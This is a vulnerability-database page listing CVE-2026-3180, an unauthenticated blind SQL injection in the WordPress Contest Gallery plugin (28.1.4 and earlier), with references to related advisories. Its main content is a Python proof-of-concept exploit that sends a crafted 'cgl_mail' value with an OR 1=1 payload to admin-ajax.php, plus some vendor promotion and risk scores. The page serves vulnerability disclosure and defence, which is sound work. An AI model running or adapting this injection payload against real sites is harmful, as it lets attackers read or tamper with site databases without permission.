Lucene search
K

📄 WordPress Contest Gallery 28.1.4 SQL Injection

🗓️ 05 Jun 2026 00:00:00Reported by cardosourceType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 5 Views

Unauthenticated blind SQL injection in WordPress Contest Gallery 28.1.4 via the cgl_mail parameter.

Related
Code
ReporterTitlePublishedViews
Family
GithubExploit
Exploit for CVE-2026-3180
4 Jun 202621:27
githubexploit
ATTACKERKB
CVE-2026-3180
2 Mar 202617:23
attackerkb
Circl
CVE-2026-3180
2 Mar 202619:00
circl
CNNVD
WordPress plugin Contest Gallery SQL注入漏洞
2 Mar 202600:00
cnnvd
CVE
CVE-2026-3180
2 Mar 202617:23
cve
Cvelist
CVE-2026-3180 Contest Gallery <= 28.1.4 - Unauthenticated SQL Injection
2 Mar 202617:23
cvelist
EUVD
EUVD-2026-9223
2 Mar 202617:23
euvd
NVD
CVE-2026-3180
2 Mar 202618:16
nvd
Patchstack
WordPress Contest Gallery plugin <= 28.1.4 - Unauthenticated SQL Injection vulnerability
3 Mar 202608:26
patchstack
Positive Technologies
PT-2026-22660
2 Mar 202600:00
ptsecurity
Rows per page
# Exploit Title: WordPress Contest Gallery 28.1.4 - Unauthenticated Blind SQL Injection
    # Tested on: Docker - PHP 8.2/Apache + MariaDB (WordPress Environment)
    # CVE: 2026-3180
    
    
    """
    Description
    
    A Blind SQL Injection vulnerability exists in Contest Gallery versions 28.1.4 and earlier. The issue is caused by the unsafe use of the cgl_maili parameter, where sanitize_email() preserves the single quote (') character in the local part of an email address. As a result, user-controlled input reaches wpdb->get_row() without proper parameterization via prepare(), allowing unauthenticated attackers to perform boolean-based blind SQL injection.
    Authentication Required: No
    
    """
    
    
    import requests
    import json
    
    NONCE = " "
    URL = "http://localhost:8080/wp-admin/admin-ajax.php"
    endpoint = "/wp-admin/admin-ajax.php"
    url = "http://localhost:8080/"
    payload = "'OR/**/1=1#@test.com' and 'OR/**/1=2#@test.com"
    
    def send_payload(mail):
        data = {
            "action": "post_cg1l_resend_unconfirmed_mail_frontend",
            "cgl_mail": mail,
            "cgl_page_id": "1",
            "cgl_activation_key": "",
            "cg_nonce": NONCE,
        }
        return requests.post(URL, data=data)
    
    r_true = send_payload("aaaaaaa'OR/**/1=1#@test.com")
    
    if r_true.status_code == 200:
        status_code = r_true.status_code
            
    
    banner = f"""
    CVE : 2026-3180 | Contest Gallery 28.1.4 : Boolean SQLi
    
    payload :........................{payload}
    end point :........................{endpoint}
    url :..............................{url}
    status :...........................{status_code}
    nonce :............................{NONCE}
    """
    
    print(banner)
    print(f"Body length: {len(r_true.text)} chars")

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

05 Jun 2026 00:00Current
5.7Medium risk
Vulners AI Score5.7
CVSS 3.17.5
EPSS0.00124
SSVC
5